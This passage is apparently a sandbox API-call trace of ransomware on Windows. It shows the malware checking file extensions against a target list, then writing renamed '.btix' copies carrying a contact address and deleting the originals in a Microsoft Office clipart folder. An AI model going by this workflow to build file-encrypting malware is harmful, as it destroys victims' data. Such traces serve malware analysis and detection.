Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.131] lstrlenW (lpString=".dbf") returned 4 [0151.131] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0151.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.132] lstrlenW (lpString=".1cd") returned 4 [0151.132] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0151.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.132] lstrlenW (lpString=".jpg") returned 4 [0151.132] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0151.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.132] lstrlenW (lpString=".doc") returned 4 [0151.132] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0151.132] lstrlenW (lpString=".docx") returned 5 [0151.132] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0151.132] lstrlenW (lpString=".pdf") returned 4 [0151.132] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0151.132] lstrlenW (lpString=".xls") returned 4 [0151.132] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0151.132] lstrlenW (lpString=".xlsx") returned 5 [0151.132] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0151.132] lstrlenW (lpString=".ppt") returned 4 [0151.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0151.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.132] lstrlenW (lpString=".zip") returned 4 [0151.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0151.132] lstrlenW (lpString=".rar") returned 4 [0151.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0151.132] lstrlenW (lpString=".bz2") returned 4 [0151.132] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0151.132] lstrlenW (lpString=".7z") returned 3 [0151.133] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0151.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.133] lstrlenW (lpString=".dbf") returned 4 [0151.133] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0151.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.133] lstrlenW (lpString=".1cd") returned 4 [0151.133] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0151.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.133] lstrlenW (lpString=".jpg") returned 4 [0151.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0151.133] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.133] lstrlenW (lpString="J0101860.BMP") returned 12 [0151.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.133] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=32184) returned 1 [0151.133] CloseHandle (hObject=0x38c) returned 1 [0151.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0151.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.134] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.134] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.134] GetLastError () returned 0x0 [0151.134] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.135] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.136] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.136] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.137] SetEndOfFile (hFile=0x390) returned 1 [0151.137] CloseHandle (hObject=0x390) returned 1 [0151.137] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.137] SetEndOfFile (hFile=0x38c) returned 1 [0151.138] CloseHandle (hObject=0x38c) returned 1 [0151.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0151.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.138] lstrlenW (lpString=".doc") returned 4 [0151.138] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.138] lstrlenW (lpString=".docx") returned 5 [0151.138] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0151.138] lstrlenW (lpString=".pdf") returned 4 [0151.138] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.138] lstrlenW (lpString=".xls") returned 4 [0151.138] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.138] lstrlenW (lpString=".xlsx") returned 5 [0151.138] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0151.138] lstrlenW (lpString=".ppt") returned 4 [0151.138] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString=".zip") returned 4 [0151.139] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".rar") returned 4 [0151.139] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".bz2") returned 4 [0151.139] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".7z") returned 3 [0151.139] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString=".dbf") returned 4 [0151.139] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString=".1cd") returned 4 [0151.139] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString=".jpg") returned 4 [0151.139] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.139] lstrlenW (lpString=".doc") returned 4 [0151.139] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".docx") returned 5 [0151.139] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0151.139] lstrlenW (lpString=".pdf") returned 4 [0151.139] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".xls") returned 4 [0151.139] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.139] lstrlenW (lpString=".xlsx") returned 5 [0151.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0151.139] lstrlenW (lpString=".ppt") returned 4 [0151.140] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.140] lstrlenW (lpString=".zip") returned 4 [0151.140] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.140] lstrlenW (lpString=".rar") returned 4 [0151.140] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.140] lstrlenW (lpString=".bz2") returned 4 [0151.140] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.140] lstrlenW (lpString=".7z") returned 3 [0151.140] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.140] lstrlenW (lpString=".dbf") returned 4 [0151.140] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.140] lstrlenW (lpString=".1cd") returned 4 [0151.140] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0151.140] lstrlenW (lpString=".jpg") returned 4 [0151.140] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.140] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.140] lstrlenW (lpString="J0101861.BMP") returned 12 [0151.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.140] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=32184) returned 1 [0151.141] CloseHandle (hObject=0x38c) returned 1 [0151.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0151.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.141] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.141] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.141] GetLastError () returned 0x0 [0151.141] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.143] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.144] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.144] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.144] SetEndOfFile (hFile=0x390) returned 1 [0151.144] CloseHandle (hObject=0x390) returned 1 [0151.144] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.144] SetEndOfFile (hFile=0x38c) returned 1 [0151.145] CloseHandle (hObject=0x38c) returned 1 [0151.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0151.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.145] lstrlenW (lpString=".doc") returned 4 [0151.145] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.145] lstrlenW (lpString=".docx") returned 5 [0151.146] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0151.146] lstrlenW (lpString=".pdf") returned 4 [0151.146] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString=".xls") returned 4 [0151.146] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString=".xlsx") returned 5 [0151.146] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0151.146] lstrlenW (lpString=".ppt") returned 4 [0151.146] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString=".zip") returned 4 [0151.146] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString=".rar") returned 4 [0151.146] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString=".bz2") returned 4 [0151.146] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString=".7z") returned 3 [0151.146] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString=".dbf") returned 4 [0151.146] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString=".1cd") returned 4 [0151.146] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString=".jpg") returned 4 [0151.146] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.146] lstrlenW (lpString=".doc") returned 4 [0151.147] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".docx") returned 5 [0151.147] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0151.147] lstrlenW (lpString=".pdf") returned 4 [0151.147] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".xls") returned 4 [0151.147] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".xlsx") returned 5 [0151.147] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0151.147] lstrlenW (lpString=".ppt") returned 4 [0151.147] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.147] lstrlenW (lpString=".zip") returned 4 [0151.147] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".rar") returned 4 [0151.147] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".bz2") returned 4 [0151.147] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString=".7z") returned 3 [0151.147] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.147] lstrlenW (lpString=".dbf") returned 4 [0151.147] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.147] lstrlenW (lpString=".1cd") returned 4 [0151.147] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0151.147] lstrlenW (lpString=".jpg") returned 4 [0151.147] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.148] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.148] lstrlenW (lpString="J0101862.BMP") returned 12 [0151.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.148] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=32184) returned 1 [0151.148] CloseHandle (hObject=0x38c) returned 1 [0151.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0151.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.148] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.148] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.149] GetLastError () returned 0x0 [0151.149] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.150] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.151] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.151] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.151] SetEndOfFile (hFile=0x390) returned 1 [0151.151] CloseHandle (hObject=0x390) returned 1 [0151.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.152] SetEndOfFile (hFile=0x38c) returned 1 [0151.152] CloseHandle (hObject=0x38c) returned 1 [0151.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0151.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.153] lstrlenW (lpString=".doc") returned 4 [0151.153] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".docx") returned 5 [0151.153] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0151.153] lstrlenW (lpString=".pdf") returned 4 [0151.153] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".xls") returned 4 [0151.153] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".xlsx") returned 5 [0151.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0151.153] lstrlenW (lpString=".ppt") returned 4 [0151.153] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.153] lstrlenW (lpString=".zip") returned 4 [0151.153] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".rar") returned 4 [0151.153] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".bz2") returned 4 [0151.153] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.153] lstrlenW (lpString=".7z") returned 3 [0151.154] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString=".dbf") returned 4 [0151.154] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString=".1cd") returned 4 [0151.154] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0151.154] lstrlenW (lpString=".jpg") returned 4 [0151.154] lstrcmpiW (lpString1=".jpg", 